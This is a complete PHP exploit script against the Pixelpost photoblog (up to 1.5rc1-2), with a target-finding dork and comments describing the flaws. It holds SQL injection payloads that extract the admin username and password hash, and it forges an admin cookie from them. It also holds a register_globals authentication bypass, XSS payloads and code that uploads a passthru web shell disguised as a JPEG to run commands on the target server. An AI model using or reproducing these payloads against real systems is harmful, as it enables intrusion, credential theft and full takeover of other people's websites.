#!/usr/bin/php -q -d short_open_tag=on <?
echo "Pixelpost <= 1-5rc1-2 privilege escalation exploit\r\n"; echo "by rgod [EMAIL PROTECTED]"; echo "site: http://retrogod.altervista.org\r\n";; echo "dork: pixelpost \"RSS 2.0\" \"ATOM feed\" \"Valid xHTML / Valid CSS\"\r\n\r\n"; /* works with: magic_quotes_gpc=Off */ if ($argc<5) { echo "Usage: php ".$argv[0]." host path your_ip cmd OPTIONS\r\n"; echo "host: target server (ip/hostname)\r\n"; echo "path: path to pixelpost\r\n"; echo "your ip: your actual ip adress, we need it to build an admin cookie\r\n"; echo " this is automatically set to your proxy ip if you use one\r\n"; echo "cmd: a shell command\r\n"; echo "Options:\r\n"; echo " -T[prefix] specify a table prefix different from \"pixelpost_\"\r\n"; echo " -p[port]: specify a port other than 80\r\n"; echo " -P[ip:port]: specify a proxy\r\n"; echo "Examples:\r\n"; echo "php ".$argv[0]." a.b.c.d /pixelpost/ w.x.y.z cat ./../includes/pixelpost.php\r\n"; echo "php ".$argv[0]." a.b.c.d / w.x.y.z ls -la -p81\r\n"; echo "php ".$argv[0]." a.b.c.d / none ls -la -P1.1.1.1:80\r\n"; die; } /* software site: http://www.pixelpost.org/ description: "A small photoblog application that's a no-brainer to set up and use - this is truly for anyone wishing regularly to post their photos on the web like a blog." ----- i) sql injection in index.php near lines 670-680: ... if($_GET['category'] != "") { // Modified from Mark Lewin's hack for multiple categories $query = mysql_query("SELECT 1,t2.id,headline,image,datetime FROM {$pixelpost_db_prefix}catassoc as t1 INNER JOIN {$pixelpost_db_prefix}pixelpost t2 on t2.id = t1.image_id WHERE t1.cat_id = '".$_GET['category']."' AND (datetime<='$cdate') ORDER BY datetime DESC"); $lookingfor = 1; } ... nice code, isn't it? with magic_quotes_gpc = Off: http://[target]/[path]/index.php?x=browse&category='UNION SELECT '1','2',admin,'4','5' FROM pixelpost_config WHERE id=1/* http://[target]/[path]/index.php?x=browse&category='UNION SELECT '1','2',password,'4','5' FROM pixelpost_config WHERE id=1/* now, at screen, you have admin username & MD5 password hash and you can build an admin cookie: Cookie: pp_user=[username]; pp_password=[sha1([md5hash].[your_ip_address])]; Admin can upload .php files in images/ folder, files are renamed but you can see new filename in main index page, so... you launch commands: http://[target]/[path]/images/20060603005716_suntzu.php?cmd=cat%20./../includes/pixelpost.php ii) same kind of sql injection in 'archivedate' argument at lines 681-687: ... ELSE IF ($_GET['archivedate'] != "") { $where = "AND (DATE_FORMAT(datetime, '%Y-%m')='".$_GET['archivedate']."')"; //DATE_FORMAT(foo, '%Y-%m-%d') $query = mysql_query("SELECT 1,id,headline,image, datetime FROM ".$pixelpost_db_prefix."pixelpost WHERE (datetime<='$cdate') $where ORDER BY datetime desc"); $lookingfor = 1; } ... poc: http://[target]/[path]/index.php?x=browse&archivedate=')%20UNION%20SELECT%20'1','2',password,'4','5'%20FROM%20pixelpost_config/* iii) in admin/ folder at the begin of every script, except for index.php, we have: <?php if(!isset($_SESSION["pixelpost_admin"]) || $cfgrow['password'] != $_SESSION["pixelpost_admin"]) { die ("Try another day!!"); } ... if register_globals= On, you can easily bybass this protection, poc: http://[target]/]path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1 this can be used to see some interesting configuration info about target server: http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info or to launch XSS attacks: http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info&admin_lang_pp_exif1=<script>alert(document.cookie)</script> http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info&admin_lang_pp_exif2=<script>alert(document.cookie)</script> http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info&admin_lang_pp_path=<script>alert(document.cookie)</script> iv) another xss, without to be logged in: http://[target]/[path]/admin/index.php?loginmessage=";><script>window.open("http://retrogod.altervista.org";)</script> */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$argv[1]; $path=$argv[2]; $your_ip=$argv[3]; $cmd="";$port=80;$proxy="";$table_prefix="pixelpost_"; for ($i=4; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P") and ($temp<>"-T")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $table_prefix=str_replace("-T","",$argv[$i]); } } $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else { $p='http://'.$host.':'.$port.$path; $temp=explode(":",$proxy); $your_ip=$temp[0]; } echo "Trying sql injection in 'category' argument...\r\n"; $sql="'/**/UNION SELECT/**/'1','2',password,'4','5'/**/FROM/**/".$table_prefix."config/**/WHERE/**/id=1/*"; $sql=urlencode($sql); $packet="GET ".$p."?x=browse&category=".$sql." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode("alt=\"",$html); $temp2=explode("\"",$temp[1]); $hash=trim($temp2[0]); if (is_hash($hash)){ echo "admin md5 password hash -> ".$hash."\r\n"; $sql="'/**/UNION/**/SELECT/**/'1','2',admin,'4','5'/**/FROM/**/".$table_prefix."config/**/WHERE/**/id=1/*"; $sql=urlencode($sql); $packet="GET ".$p."?x=browse&category=".$sql." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode("alt=\"",$html); $temp2=explode("\"",$temp[1]); $admin=trim($temp2[0]); echo " \" username -> ".$admin."\r\n"; } else { echo "Trying with 'archivedate' argument...\r\n"; $sql="')/**/UNION SELECT/**/'1','2',password,'4','5'/**/FROM/**/".$table_prefix."config/**/WHERE/**/id=1/*"; $sql=urlencode($sql); $packet="GET ".$p."?x=browse&archivedate=".$sql." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode("alt=\"",$html); $temp2=explode("\"",$temp[1]); $hash=trim($temp2[0]); if (is_hash($hash)){ echo "admin md5 password hash -> ".$hash."\r\n"; } else {die ("Exploit failed...magic_quotes_gpc on here or code patched");} $sql="')/**/UNION/**/SELECT/**/'1','2',admin,'4','5'/**/FROM/**/".$table_prefix."config/**/WHERE/**/id=1/*"; $sql=urlencode($sql); $packet="GET ".$p."?x=browse&archivedate=".$sql." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode("alt=\"",$html); $temp2=explode("\"",$temp[1]); $admin=trim($temp2[0]); echo " \" username -> ".$admin."\r\n"; } $cookie="pp_user=".$admin."; pp_password=".sha1($hash.$your_ip).";"; $packet="GET ".$p."admin/index.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $cookie=""; for ($i=1; $i<=count($temp); $i++) { $temp2=explode(" ",$temp[$i]); $cookie.=" ".$temp2[0]; } echo "admin cookie ->".$cookie."\r\n"; $shell= '<?php if (get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} ini_set("max_execution_time",0); error_reporting(0); echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A); passthru($_REQUEST["cmd"]); echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A); ?>'; srand(make_seed()); $anumber = rand(1,99999); $my_file="suntzu".$anumber.".php"; $data=' -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="headline" Under Costruction... - Admin. -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="category[]" 1 -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="body" -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="autodate" 3 -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="post_year" -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="post_month" -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="post_day" -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="post_hour" -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="post_minute" -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="userfile"; filename="'.$my_file.'" Content-Type: image/jpeg '.$shell.' -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="submit" Upload -----------------------------7d6318101b00a2-- '; $packet="POST ".$p."admin/index.php?x=save HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6318101b00a2\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $packet="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode("img src=\"",$html); $temp2=explode(" ",$temp[1]); for ($i=1; $i<=count($temp); $i++) { $temp2=explode("\"",$temp[$i]); if (eregi($my_file,$temp2[0])) { $my_path=$temp2[0]; echo "shell -> ".$my_path."\r\n"; break; } } $packet="GET ".$p.$my_path." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: cmd=".$cmd.";\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"*deli*")) { $temp=explode("*deli*",$html); die("Exploit succeeded...\r\n".$temp[1]); } else { echo "Failed to launch commands..."; } ?> original url: http://retrogod.altervista.org/pixelpost_15rc12_xpl.html
